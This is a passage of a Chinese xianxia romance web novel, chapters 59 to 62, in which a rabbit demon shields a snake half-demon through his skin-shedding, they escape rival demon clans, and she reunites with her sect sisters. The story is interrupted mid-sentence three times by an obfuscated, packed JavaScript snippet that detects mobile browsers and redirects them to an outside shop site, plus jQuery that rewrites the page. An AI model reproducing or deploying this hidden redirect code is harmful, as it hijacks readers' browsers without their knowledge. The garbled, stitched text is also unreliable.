“我现在很厉害了。” “嗯,阿扶厉害了很多。”息尘给玉扶肯定,下意识如往常一样笑,但蛇是没有柔软唇瓣的,只有覆着鳞的吻部,一笑先发出的是嘶嘶声。 他尴尬无比,试图严肃点地与玉扶道:“阿扶,放下我。” 如今的形势,他必须尽快度过蜕皮期。 59. 第 59 章 从玉扶的手中滑下,息尘很快于寻至一半人高石后准备蜕皮。 他的血脉太过特殊,极接近古妖,轻易可获得强大的同时,也面临着失智的风险。 但作为半妖,在这种特性下,他又是极为幸运的。 只有短短几日相处的双圣在探过他后,曾直言,他很完美。 既继承了柳真清的血脉,又有着足以驾驭血脉的理智。 他第一次知晓,他母亲的名字——柳真清。 是双圣为他们没曾亲眼见到孵化的蛋中小蛇取的名字。 柳真清的蛇鳞与双圣相似之处很小很小,据说,要养出她那样纯净漂亮的蛇鳞,血脉纯净的同时,还离不开双圣千年来不断以灵力涤净的作用。 她是他们以爱浇灌养育出来的孩子。 故而,他们轻易发现了息尘的不同,接受了他与他们之间的联系,甚至,在责备胡闹的同时,又愿意教导他。 即便只是古老的残念,息尘也能感到,他们是很好的长者,他们不会过问未来,也不问缘由,只重跨越时间的一面缘分。 也是通过他们,息尘知晓了,阿裴单凭妖性蜕皮存在危险,失衡的妖躯,会被过于强大的血脉反克。 而正常的蜕皮,不该狂暴,也不该失智,只是一次普通的成长,抚静妖血,驯服血脉,还有凌驾它—— 竖瞳显现,浑浊渐褪,不大的蛇躯霎时显出凌厉锋芒,偷看的玉扶都不免被其气势一慑,但这不过是个开始,蒙眼期过后,才是真正的蜕皮。 这个阶段少说也要一两日的功夫。 比起阿裴的蜕皮动静,息尘主导的蜕皮,几乎没有给他们的藏身之处带来任何的负担。 第一日,他们度过的非常安稳,间或地,息尘还能给等得无聊的玉扶回应,告知她,他的眼睛已经能正常视物,但皮肤仍旧暗淡。 再后来,石头后就经常传来沙沙的摩擦声,他说,是他的肤下开始发痒,他正在尝试蜕皮。 玉扶耳朵何其灵敏,她早就听出来了,息尘根本不会蜕皮,毕竟他当了那样久的人,当蛇的日子统共才没几天,阿裴失败的蜕皮经验也无法给他参考。 他好像把自己打结了。 玉扶听得眼睛嘴角都在笑,可为不影响息尘蜕皮,她肠子都快憋得打结了。 但这种平和在第二日的时候结束了,妖神古墟再大,玉扶再了解地形,它也不是昔日之境,没有牢不可破的屏障,而有怒气的大妖也不是什么阿猫阿狗,有的是探查的力气和手段。 妖狼族凭借灵鼻子,闻着他们的味就寻到了附近,玉扶放在外探查的魂体小兔,瑟瑟窝在旁边的石头里,被暴怒的妖狼少主银朔一脚踢碎,他火气不小,这一趟被雪仙摆了一道不说,空守着有传承的圣山进不得,最后能进了,山也已经塌了。 如今若不抓到那两妖,实难消他心头怒火:“废物,还没找到?” 松狮发的狂野妖修擦着汗上前,这妖神古墟气候实在莫名,先是到处都是火山,这突然下了一日的雨,火倒是小了一些,但空气又闷又蒸,他们这种皮毛厚的,直如要煮熟了一样,偏生跟的少主,还是个急性子,他来不及喘气禀道:“少主,周遭都寻过了,这山莫不是会动?味道分明就是这附近。” “那兔妖有点本事,懂些阵法。”银朔还记得被无相石困住的憋屈,下令道:“将这山给我轰开!” 玉扶惯来惜命,放出的神通自然不会只有一只藏起的魂体小兔,有一只地下的,几乎是在银朔下令就将消息传给了玉扶。 玉扶生气大骂:“妖狼族真是太野蛮了!” 简直不讲武德! 她趴向息尘蜕皮的那块大石,朝后问:“息尘,你进展到哪一步了?能跑吗?” 息尘还未回答玉扶,但玉扶已经看清了,息尘蜕皮的动静是小了,也很有理智,但是他的进展和威力几乎等于零,暗淡的一层鳞灰蒙蒙地覆着他全身,与快好了永远还差上一步。 玉扶逃跑急切,也不管这时期的小蛇有多敏感,带上他就往地下遁。 几乎是她逃离的下一刻,山体被几只狼妖合力轰开。 幸好他们所在的一片遗址山多,还未灭的地火妖火,因为一场特殊的雨,不至初入神古墟那样炙热,又恰能为他们挡去一些追踪。 玉扶又从中挑中了一座山,作为躲藏,这座山比之前的矮山还要小一些,但胜在周围掩体多,也恰在玉扶可移动的力量范围内。 此刻他们就窝在此小山的山腹溶洞,一蛇一兔狼狈对眼。 为了方便逃跑,玉扶直接化为了原形,毛茸脸颊上也不知何时染上的灰色炭痕,向来干净漂亮的毛发也不免染尘,她抖了抖也仍抖不尽的山灰。 息尘想起,曾几何时,他初遇到玉扶,似乎也是如此,又小又狼狈,但眼中满满的生命力,一眼便吸引了他。 唯不同的是,此刻是换了他在依赖玉扶,他悬绕在玉扶毛茸茸的脖颈处,用蛇首轻蹭,企图将落于她身的尘埃拂去。 倏然一声“咔咔”细响,久蜕不下的旧皮终于出现了缺口。 玉扶也听见了响,惊喜道:“息尘,你终于要成功了!” 语中几多轻快和如释重负,她可太难了,她自己逃跑就很费劲,现在还带着仇恨目标比她还大的息尘,遁地,搬山、移山,已经累得悔修山神道了。 当然她也不是一点自知之明没有,她心里门清,此行妖神古墟,她才是获利最大的那个。 息尘和阿裴就是运气太不好,怎么偏就昔日之境的屏障破了,才要蜕皮呢? 但凡早一点—— 玉扶立即否定,但凡早一点,她就破不了圣山核心,说不得他们都要就此都被困在昔日之境中。 时也命也,就该她正好进步。 如此想着,玉扶对待息尘的蜕皮更加积极,化为少女,将息尘小蛇捧放地面,一眼不错地盯着他蜕皮。 吻端裂开一道口的息尘与玉扶对视着,没有动。 玉扶恨不得去帮他撕开那层旧皮地催促:“息尘,你要动动啊!扭一扭!” 息尘默了,他发现,他并没有那么超脱出尘,至少,他做不到在玉扶面前扭蹭着蜕皮。 他不发一言地滑行到玉扶背处的石块后,淡声:“阿扶,我需要些时间,劳你为我护法。” 他传至脑中的嗓调,温润宽和,令玉扶下意识地乖巧答道:“好。” 但很快,她眨了眨眼,回过味,他们现在的情况哪里用得着特意叮嘱? 息尘学坏了! 玉扶气鼓鼓地哼了哼。 不过,她也没想着胡闹非要看息尘蜕皮,息尘能尽快蜕完皮,他们才更有把握从妖神古墟中离开,即便再好奇,她也不会去打扰的,她就听听! 听听又不过分! 然,这一听,玉扶更敏锐捕捉到的是危险。 妖域的大妖们,与凭借血脉强大的古妖不同,他们完全是依靠如今的各种条件成为的大妖,有族群,有法宝, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16703713|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有自身的资质,他们并不容小觑。 此刻,玉扶感到的便是又有妖追来,尖啸盘旋山顶一片区域,他们的羽翼煽动,探查间,也掀起了更大的火浪,玉扶紧张无比地戒备。 继而好像打了起来? 等了片刻,打斗远离了一些,一只拳头大的魂体小兔才从火石中浮现,远远瞧见,原来在躲三大妖族的不止是她和息尘,还有狐妖雪仙。 献祭失败,雪仙没能被圣山接纳入昔日之境,还暴露了安插在三族中的妖众,这些时日来,没少被三大妖族追着撵。 真是活该! 如果可以的话,她都想上去咬两口,要不是雪仙一直搞事,玉扶想,她大概还在修界过好日子呢。 也就看了一会儿,玉扶外放的神通又缩回了地下隐蔽起来。 她知道,这一波不过是侥幸逃过,许是现下只能靠她的缘故,她紧绷的精神总是控制不住思考些什么。 过往单纯的成长环境,造成了她的思维总不愿意去想复杂的事,但她不认为狡猾聪明的狐妖会没有目的地针对息尘。 这种针对好像从好久之前便开始了,是狐妖夺走的惑心镜让阿裴第一次出现,也是因狐妖留下的线索,息尘带着她入了妖域,而阿裴更是在独自闯入狐妖的七欲楼后,带回了妖神古墟的消息。 还有,在圣山苏醒的前一刻,她似乎听到了狐妖唤阿裴为“少主”? 玉扶极少会有听错的情况,她皱着眉思索,阿裴到底是哪门子的少主? 尤是思索着,她也偷偷地让整座矮山缓缓挪动,免得打斗又波及了过来。 有妖打得酣畅,飞起身时,颇为疑惑方才探过区域,似乎有些变化?然他只当是狐妖又用了什么惑人的术法,重新于高处飞冲而下。 玉扶如此又躲了一两个时辰,但山会动这事还是被发现了,盖因狐族的雪漪为了再找出她的好妹妹雪仙,竟给妖神古墟以灵法绘图了。 一座会动的山于她的图中,和直接告诉她这山有古怪有什么区别? 这次,他们犹如达成了共识,竟合围向了矮山,就连地下的可遁之处也给封上了。 玉扶成了困兽。 从玉扶手下吃过憋的妖狼族银朔大喊:“兔妖,出来!” 比起银朔威慑的兔妖,单云霄更戒备一直没有出手的裴息尘,他料想其同兔妖定然是得了什么的传承,不然那小兔妖不会短短的时日内修为趋近化神,竟还能于他们的眼皮底下躲了这般久。 初时,他拦了雪漪几息,多有欲将二妖归为鹰族,其所得传承也合该归于鹰族的表态,然能来此的,没一个会白看着同妖王有关的传承,落到任何非己的一族当中。 他的心思顷刻被雪漪戳破,同时,也有几分被点醒,裴息尘桀骜不逊,出现在妖王城的时间也未免巧合,与雪仙的那一战也透着古怪…… 几厢较定,不如先将二妖拿下,再行争夺,他出言:“我观蛇妖覆眼下有阴翳,且一直不曾出手,恐是在兔妖护法下蜕皮。” “那蛇妖本事不小,我等不能等他度过蜕皮期。” 银朔便骂:“歪歪心思一堆,有这发现不早说!” 当下,几多法光轰向矮山。 玉扶压力陡增,满山都是她被轰出来的魂体小兔子。 皆是她神通与法力所凝成的移山与探查用的魂体小兔,它们不断散成光点,玉扶的灵力也见底,甚至,连藏身的山头都被削去大半。 她暴露在了众妖眼下。 60. 第 60 章 玉扶从来没有独自面对过这样多的敌妖,虚眼扫过,足有几十数。 其中还不乏眼熟的大妖,鹰族的诸妖,相处过,她都还记得他们的长相,她还看到了蛛娘,于鹰族大妖后,望向她的眼神好像在可怜她? 玉扶粲然一笑,她才不可怜,她可厉害了,她已经成长得比蛛娘厉害,而且还能在这样多的大妖手下躲藏到护着息尘完成蜕皮。 也是她的这一笑,蛛娘惴惴后退,几多大妖也隐觉不好,尤是在一阵法光要击上的玉扶的一刻,碎石发震,空气鸣撞,她的身后倏然显出巨大蛇形法相—— 不是术法虚影,而是更凝实更强大几如妖躯现形的法相。 法相仰头,所有术法、攻击……如滞空中,法相摆头,术法、攻击纷纷调转朝向他们的主人。 而在巨大法相之下,是敛目而立的男子,他华美淡然,眉目犹如工笔画般高邈脱俗。 玉扶脏兮兮地昂着头,好像回到了第一次与他相遇,那时他也是这样一看就强大,还好心肠极了,须臾,玉扶扑向他,嘤嘤告状:“他们欺负我弱。” 息尘垂眼而笑,单手拢她入怀:“嗯,我知。” 再掀眼,眼中并不含杀戮,只其中清幽若虚,也无有良善,他的怜与悯似乎都给了怀中的少女,旁的妖,分不到半分,他推掌扬风,再立已是法相之上。 玉扶环抱他腰,新奇地丝眼瞥看,只见众妖的攻击掀风又来。 息尘岿然不动,法相蛇尾翻动,横扫一片,同时,正面以光屏拦下银朔狼刀一斩,巨大的力量对抗,玉扶感到息尘的腰收紧一瞬,继而掀动一晃,银朔与狼刀被猛然甩出。 而息尘稳稳收步,下移的手,托住玉扶腰肢,好不让她受到打斗影响。 玉扶瞧得眸光都在发亮,若是可以,她都想鼓掌了。 但显然的,此战还远不到结束的时候,大妖轮番又合力地攻上前,莽足了劲地要将他们摁死在妖神古墟。 又是一次蛇尾拍击,息尘重新落至法相头顶,翻掌时虎口出现一串佛珠,只见他唇瓣喃动,佛珠倏地脱离他手,浮散周身。 随着他的快速喃动,每一颗佛珠都爆出强烈的金光,一个个压缩着禅法的大字凭空浮现,分别是“空”、“止”、“戒”、“定”…… 还不及看完,这些金字已一个个飞向大妖们。 其中一个“空”字自成一方结界困住了好几个狼妖,一个“止”拉出了无限金线,如茧般裹住了雪漪一干狐狸,“定”字锁住鹰妖翅膀,如此等等不一而足。 佛宗手段,玉扶见过不少,但今方知“佛子”二字等同什么。 大妖叫骂、挣扎,几件法器却无可阻拦地从他们当中飘出,法器齐聚,阵法浮现,妖神古墟通往妖域大门即将重开。 玉扶并不问为何息尘既困住了这些妖,却不杀了他们,她知晓,息尘不是滥杀的性子,且,当下先出去才是要紧的。 然变故也是突然而至的,时长时短的哨声由远及近,狐影急掠而来,须臾夺走数妖性命,就连息尘的反应也有一瞬的迟缓。 巨蛇法相狂躁胡扫,息尘摇头皱眉,直如受到什么神魂攻击。 地上本被绑缚的雪漪落到了雪仙的手中,脖颈诡异扭着,青筋爆出,一条不属于她的尾巴穿过她的腹部,雪仙卷着挣扎的雪漪亲昵道:“姐姐,还是你的身体与我最契合。” “日后,就借给妹妹用吧。” 不过短短几个呼吸,只见雪漪头垂了下去,又很快地重新活了过来,咯吱活动中,脸上全然换了一副神情。 她身上流着血,眼神却是看向了玉扶,雪仙早已发现,主人赐下的骨哨似乎只能短暂影响少主,或许还不如这兔妖来的作用大,几乎没有停歇地,五爪冲向息尘。 却在将将接近一瞬偏向了玉扶,脑中唯一个念头,带走兔妖,不愁挟制不住硬骨头。 她观察得很准,这个不滥杀的少主,与先前一味追杀她时的少主不太相同,她有七成的把握不丢掉性命。 骨哨再响,她几乎就要抓住了息尘那一刹的被动带走兔妖了,然而,结果却是她不可置信地垂头,望见了自胸口处消散的灵元。 玉扶也瞧见了,息尘松开她的那只手,竟穿过了狐妖的胸—— 鲜红的血一滴一滴坠成线落下,而息尘还在无比冷静地查看狐妖最后的记忆。 淡色唇瓣极清极冷地吐字:“凡域,皇城。” 玉扶不懂这几字的含义,只能见到狐妖已经死透,还有息尘在某一瞬,似乎不太像他,但也绝不是阿裴出现,而是犹如本该纤尘不染的神祇,一刹沾染杀性的震撼。 圣洁染血,令人不由自主地想要俯身臣服。 玉扶从没见过这样的息尘,心跳砰砰,一时竟难以区分到底是惧还是欢喜。 息尘也瞧着手心的鲜红怔然,他不是不曾杀过妖,可这样直接粗暴地见血,却是头一遭,那刻,惊奇地,他有了强烈的情绪,恼、怒、恨......还有一点的喜,再才是归于平静。 不排除有骨哨的影响,他能感受出其内有一滴他的血,就连那满是怨煞的骨身,也与他存在着某种联系,但他不认为这是真正的原因。 是他,一直在改变。 骨哨浮入他掌心,化为一堆齑粉落下,一只透色漾着水的小兔落在他手心,水兔子滚圆,口中不断噗噗出水,最后啪嗒一下,化为一滩,彻底洗去他手中污渍。 玉扶掐着法决的手还不曾放下,脸蛋都在为了一个小法术在憋力,显见的,今日的消耗对她而言有多大。 他不再纠结改变不改变,他的改变或从离开佛宗那一日就是注定的,清浅克制一笑,与玉扶道:“阿扶,我们离开。” 妖神古墟阵门已开,走过仍受困诸妖,息尘神性垂眼:“此禅言还会困你们一刻。” 说罢,走出阵门,法相巨蛇紧随其后,它的体型实在过于庞大,挤动中,阵门震荡,法器嗡嗡作响,最后,彻底挤毁阵门。 但阵门并非就此关闭,而是以此为点,不断扩大,想来用不了多久,便再无妖神古墟与妖域的界限区分。 圣山的雨会歇,学宫的火会灭,古老的魂念真正地消散天地,来日,这里或会迁入新的妖,生出新的灵植,再诞出奇特功效的灵泉。 * 息尘以法相带玉扶离开足有上千里,才倏然跌落。 再强大的妖都有弱点,何况还是从佛修转半妖的息尘。 将时间压缩到极致的蜕皮,连恢复期都跳过的爆发,固然强悍无比,但后继的无力来的也同等强烈。 他缩得好小,新的皮肤每一片蛇鳞都鲜艳漂亮,湛湛地泛着光泽,然,当玉扶视线移至尾尖的时候顿住了,那一处明显的旧皮,犹如一圈缩紧的皮筋,破坏整体的美感,将尾端锢出了痕迹。 息尘注意到玉扶视线,尾尖摆了摆:“无妨的。” 玉扶不高兴地呼气,反驳教训:“才不是无妨,尾巴很重要的!” “我山里就有一条小蛇蜕皮的时候尾巴尖卡皮,后来它的尾巴就停止了生长。” “之后的每次蜕皮,尾巴的旧皮就一层叠一层,最后彻底失去了那一部分尾巴。” 当蛇不久的息尘还是第一次知道这样的信息,他呆呆地听玉扶教训,豆豆眼中满是少女鲜活的模样,直到她说完才开口:“阿扶的住处,原来有很多小蛇吗?” 玉扶:“当然不是。” 她才不喜欢蛇呢,她的洞府周围经她霸道清理过,她不喜欢的兽类根本不能靠近,是她放出的魂体小兔给她听来的消息。 山里其实一点也不无聊,她听得懂没开智的兽类谈话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715120|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也能感到山木的不同情绪,诸如,松鼠会嫌弃山树结的果子梆硬,一些山树有骂松鼠没良心的,也有抱怨松鼠将它们树皮磨坏了的;还有野猪翘笋,差点将竹林的全家端了的…… 种种八卦官司都是她听来的,一条失了尾巴的小蛇这样的新鲜事,就更逃不过她的耳朵了。 她将这些说给息尘,秒补一句:“我现在喜欢小蛇了。” “喜欢你这样漂亮的。” 息尘的小蛇形态瞧不出脸红,但它的尾巴不受控地不断缠着玉扶的手指,他觉得这样不好,不矜持,转移话题地同玉扶道:“阿扶,一直向南,我们离开妖域。” 不用息尘提醒,玉扶也知晓,现在只能靠她赶路了,重回妖王城也是不成的,虽然放过了那些什么少主大妖,可不代表和解了,只能说不至于不死不休的地步。 早点离开妖域避一避才是关键。 玉扶恢复一点,就开始赶路,其中遇到好几道妖隙,经息尘探过,认准一道通往修界的,玉扶一头扎入。 修界的日光比之妖域不知明亮了多少,空气中都好似蕴着轻快的气息,玉扶好半响都没有爬起来,在草地上滚了滚,仰躺着望天与息尘道:“我们出来了!” 息尘扫了扫尾巴,将玉扶身上的青草屑拂去,他尝试过了,还是做不到恢复身形,只能帮玉扶做一些力所能及的。 但这种体贴吧,挺怪异的,活像一蛇一兔在打架,也有点吸引动静。 此处既有妖隙,说不得也有发现的修士,玉扶才滚了滚,就听到了些靠近的动静,当下化形出少女,息尘藏入她袖中。 来人颇为年轻,十二三的少年模样,衣着也不像是正规宗门出来的,应是个散修弟子,甫一见得草丛中多了个貌美少女,也是惊了惊,话都说不利索:“是妖......还是人?” 玉扶仗着这个小修士看不穿她的化形,站起身拍了拍草屑,问他:“小道人,这里是哪儿?” “凤阳城,东郊乌岭。”小修士没有隐瞒,甚至关心独自出现的玉扶道:“这里有妖隙,我师傅在此狩猎,他......很快回来,姑娘你赶紧走吧。” 说着,他还紧张地看了看身后。 他的身后并无来人,但息尘在传音玉扶:“阿扶,走。” 玉扶不疑有他,同散修少年道了声谢,立即往妖隙相反的方向离开。 直到离得有些距离了,玉扶才懊恼想起:“我都忘记问一问他说的凤阳城是不是这个方向了?” “我看那少年应是个好人,息尘,你怎那么急着让我走?” 息尘缠在玉扶发间,蛇首如同一颗宝石下坠:“阿扶,修士并非都是好人。” 这点与师姐们的教导相合,玉扶赞同点头:“我知道呢。” 分明就是不知严重与否的轻快语气,息尘叹息地讲道:“那少年守在偏僻的妖隙附近,他师傅或是猎妖人。” 散修通常不比背靠宗门的修士富裕,不少会要通过猎取妖兽来换修炼资源,这都无可厚非,但猎妖与猎妖兽,一字之差,却大有不同。 前者,专以捕开智甚至能化形的妖以达谋利。 开启的妖隙,有些时候不免会有一些妖偶然通过,一旦被捕得,或炼或卖,不得而知。 但他们也会惧怕遇上得罪不起的大妖。 玉扶后怕地咽了咽唾沫,问:“那方才的小修士是诱饵吗?” 息尘摇头:“不好说。” “但他应是没辨出你是妖。” 玉扶点点头,又得意起来,到了她这等境界,也不是什么小修士都能看穿她的,不过,也确实又上了一课,她开心地对息尘道:“幸好,我第一次遇到的是你。” 息尘怔然,笑得无声,半响,方才轻轻“嗯”了一声。 幸好,玉扶遇见的是他。 61. 第 61 章 因没有事先问清路,玉扶颇绕了一段远路,才到凤阳城。 他们进入妖域的时候分明是北境,可这出来的时候竟到了东境,某种意义上来说,玉扶绕了一大圈,快回家了。 合欢宗便是落于东境。 玉扶没想着回去,她好累了,而且凤阳城距离合欢宗还怪远的。 可即便是这样,也给了玉扶不少底气—— 嗯,欠债的底气。 她的灵石早就用光了,息尘的也被阿裴败得异常干净,倒是还剩了几颗妖丹,只修界中多数情况下并无法直接取代灵石,尤其是她住的挺贵的。 此刻,玉扶就在凤阳城最贵的客栈包下了最好的客房,签下了数张欠条,然后,让伙计送走医者,送来温水、粗糙石块与沉木等物。 她先将石块与沉木放入水中,再让息尘入水,如此息尘就可以轻松地将头露出水面呼吸。 就在方才,她同请来的医者问过了,对蛇尾卡皮的情况并不能用蛮力生拉硬拽,一定要用温水浸泡,先让旧皮变得柔软,再让小蛇自己摩擦。 在妖神古墟的时候,情况危急,玉扶都没能见到息尘是如何蜕皮的,但现在她就是有好多的耐心等待。 盛着温水的木盆摆在桌上,她撑着脸,兴味极了地看。 息尘并不愿让她看,然一旦他说些什么,玉扶便一味地“不听不听”态度,只得作罢。 玉扶发现,变成小蛇的息尘真的好笨拙,他磨蹭个蛇尾,竟然能几次呛水,都是玉扶伸手将他从水中重新捞起来。 但即便这样,息尘也没有说换让阿裴来的话,他们对彼此的存在,时而竞争,时而又非常微妙,玉扶觉得,息尘好像也有点变了,变得不再那么退让。 玉扶也不知道这是好还是不好,而且也不是担心要选谁的问题,而是想,这次阿裴一定要气疯了。 莫明的,她有点想发笑。 玉扶无疑是相貌姣好的小美人,眉眼清艳,无知无觉中,就天然地足够吸引人,她倏然绽开的笑靥,乍如美玉流光,甫一见,便令人心扉掀起骇浪,可她那没有目的的视线,息尘看出来了,她想的不是他。 也不知出于何心理,息尘希望她的视线是落在他身上,至少,在是他的时候是如此,再一次地,他呛了水。 玉扶慌张将他捞起,提议:“不如我帮你吧。” 息尘一时不答。 玉扶证明自己道:“那老医者同我说过的,只要不生拉硬拽,尾巴湿润后,是可以帮忙的。” “我会很小心的,我保证!” 玉扶的尾调不自觉地带上了撒娇的意味,听入息尘的耳,却是一贯软到心里去的甜,他答应了,一声迟钝的“好”,玉扶险些没反应过来。 她不可置信地眨了眨眼,倏然就紧张了起来,不断回想着医者是怎么嘱咐的,准备好湿毛巾,再将小蛇轻轻捧起,放置,用湿毛巾裹住他的身体,尤其是尾巴尖的部分,让它保持湿润,继而展开湿毛巾,开始上手。 她一手揉搓,一手用拇指与食指捏住息尘卡住的皮,轻轻地、朝着尾巴尖的方向用力,才用了一点点力,她就紧张的问:“这个劲会痛吗?” 息尘一时无法形容这种尾巴完全被掌握的感觉,柔软的,裹紧的,所有敏感的神经都被拿捏的可怕战栗,他整个蛇身好像都软了、无力了,属于蛇的泄.殖.腔在蠢蠢欲动,蛇信呆呆吐出。 他的模样让玉扶都不敢用力了,同样是摸尾巴,但息尘与阿裴完全就是不一样的反应,阿裴浪、爽得没边,可息尘却好像是要死了一样,过大的不同,玉扶眼泪都快急出来了:“息尘,你不要死啊!” 小蛇在玉扶的哭音中,犹如受到刺激,蛇身骤然抽动,继而极快地扭了扭,一下就窜出了玉扶的视线,重新落回水盆之中。 而玉扶手中,却赫然是撸下来的完整蛇皮:“这就下来了?” 玉扶有些不敢相信,瞥目间,发现湿润的毛巾隐约中,似乎还有些旁的痕迹,不过太过潮湿,并辨不出。 她尤想再为息尘检查检查尾巴。 息尘却已于石块与沉木中躲了起来,声音也有些远超平日的平淡,他让玉扶不用担心,他无事,他需要些时间恢复修为化形。 息尘惯来除了修炼就是修炼,玉扶不疑有他,仔细把玩了一会息尘尾巴尖褪下的一截皮后,便又赊账将自己从头到脚清理了一番。 沐了浴,换了新的法衣,没有危机,没有逃跑,只有暖融融的被窝,安全舒适得玉扶很快滚入床榻。 清浅的呼吸于静谧中悠长而轻盈,显出不一样的乖巧。 息尘终于从躲藏中滑出,蜿蜒的水痕直向少女安卧的床榻,明明是那样没有眼睑的蛇眼,但此刻却并不显呆冷,圆形的瞳孔中涌动着许多复杂的、陌生的情绪,心里明知不该,却又忍不住靠近,他想看看阿扶,想亲—— 息尘又被自己的想法惊到,可他难以控制不去想,他的心被占满了,着了魔一般地只有阿扶。 他定了定心神,勉强找回失衡得有些过分的神志,蛇身蜷在玉扶脚踏边念诵心经。 * 翌日,玉扶懊悔地醒来,她竟错过了修炼的时辰。 可转瞬一想,短短的几个月,她非但恢复了修为,而且进步不是一般的多,即便偶尔偷懒一下似乎也没什么? 她总是非常容易将自己哄好,赤脚下了榻,奔向桌前那盆水:“息尘,你醒了吗?” “你又不是水蛇,为什么还要躲在水里,出来玩吧。” 说着,伸手拨了拨水。 没有回应。 息尘:“阿扶,我在这。” 声音自后传来,玉扶扭头,发现息尘竟是从榻边的角落出来,也还是小蛇的形态。 也不是失望吧,就是觉得可惜,可惜他现在这样小,修为都没恢复,不能让她啃一啃补一补,但也就一瞬的念头而已,她太知道佛修有多难啃了,当下抛却不正经的念头,蹲下身,伸着手邀请:“我们出去玩吧,我还没来过凤阳城呢。” “息尘你来过吗?” 息尘摇头,对着玉扶伸出的手,凝注片刻,还是盘缠而上,许是意识到自己幽暗心思的缘故,再次与少女体温相贴时,他的蛇身都不由绷紧,无论如何变换姿势,都心觉局促。 尤其是当玉扶想摸向他时,他本心中想躲,身体却先一步做出了反应,于少女的手下,被轻抚得蛇鳞都舒张。 玉扶并未留意到息尘的内心挣扎,她方将房门开了一道缝,便隐隐闻到了空气中的不对,好香,好熟悉的味道。 随之侧耳听得更远,有女子议论声清晰入耳—— “我猜阿扶房中必然有人,男人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724082|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不见得,阿扶下山后就突然消失,从我与六师妹寻到痕迹来看,遇到危险的可能性更大。” 一女子立马笑着接道:“即便有危险,显见的也是过去了,不然我手中这一叠欠条如何而来?” “还能有心思花在吃住上,莫不是又长威武了?” …… 不愧是见多识广的师姐们,光靠直觉就一猜一个准,再聊下去,她的面子里子就都没了。 她豁地关了门,在房中踱来踱去,一会检查自己是胖了还是瘦了,一会又将息尘藏入被中。 “阿扶,外头有你想躲的人?”息尘从被中滑出。 玉扶完全不知如何与息尘解释好,能见到师姐们,她自然是开心的,而师姐们想来也是因为担心她才会寻来,可是她还没同息尘说起过她的宗门。 而且,乍然遇上,息尘还是一条小蛇,她又要怎么介绍息尘呢? 息尘会想让人知晓他从佛子变成了半妖吗? 还有,某种意义上,她也算是得罪了妖域的大妖,此次干脆同师姐们回去,躲上一段时日,也不失一个选择。 那息尘要同她一起回去吗? 可他看上去分明就是还有事的样子。 短短的功夫,玉扶想了好多,她摇了摇头,同息尘道:“是我师姐们寻来了,你要同我回家吗?” 玉扶一直都是有秘密的兔子,有同门也并不奇怪,息尘心下稍松,然对其邀请回家还不及回答,外头便有女声已到门前。 轻轻的几下敲击,有女倚上门扇:“阿扶,怎老远见到姐姐们就躲起来了?” 一语歇,立即有旁的女声续上:“小兔子,快快开门。” 她们含笑带宠的嗓调中全是同玉扶的熟稔,好听得玉扶的脸颊发红,她也顾不上息尘了,挪步过去开门。 甫一开门,就是一通带着香风的拥抱,有捏她脸的,也有捏她腰的,还有先行扫视一圈房内的。 眼下泪痣的成熟女修,最先发现了玉扶修为的变化,夸道:“不错,确实更威武了。” 玉扶脸上赧红,几位师姐惊讶叠问:“不简单啊,阿扶,短短时间,修为竟涨了这样多?” “我就说,渡情期不能浪费,一定要挑个补的吧。” “与师姐说说,这些时日都怎么过的?” 她们一句问一句,热情得玉扶都开始害怕她们吐出让人招架不住的话语了,慌忙带着几个师姐出门去。 原来,师姐们说是让她独自去闯荡,但一直有偷偷关注她,只是她被妖魄卷入妖隙得太突然,当她们发现她气息消失追上时,已寻不到了她的踪迹。 后来,是栖云商会的少东家给七师姐的去信,附带了一张按着爪印的欠条,才让她们放下了心。 到此就不得不说,七师姐为了她,勉为其难地又联系上了栖云商会的少东家,让其留意玉扶去向。 所以,虽然入妖域后的事师姐们不知,可自离开开阳宗,她一直与谁在一起,师姐们竟是都知晓的! 玉扶唇瓣张了张,完全惊得说不出话来了。 她都有点庆幸知晓师姐们的狂放德性,在出门的前一刻,将息尘小蛇留在了房中。 此刻,师姐们的话题都已经进展到问她佛修的滋味如何了。 玉扶磕巴道:“就......挺好的啊。” 62. 第 62 章 玉扶又被笑了一个大红脸。 大师姐红裳这才轻拍手掌,收了众人对玉扶的继续传教:“好了,阿扶还小,莫过分了。” 她的视线柔和许多地转向玉扶:“既回东境来了,可是同那佛修断了?” 这可真不好答,她都还想带息尘回碧山呢。 她容情不过为难一下,众位师姐如同明白什么一般安慰道:“无事的,阿扶,即便没断干净,谅他一个佛门弟子,也不敢寻上我合欢宗!” “世间好男子多的是,旧的不去新的不来。” “你第一次下山,修为涨了才是实在。” …… 眼见她们误会得越来越远,玉扶低着头小声道:“他没有负我,是我想带他回家。” 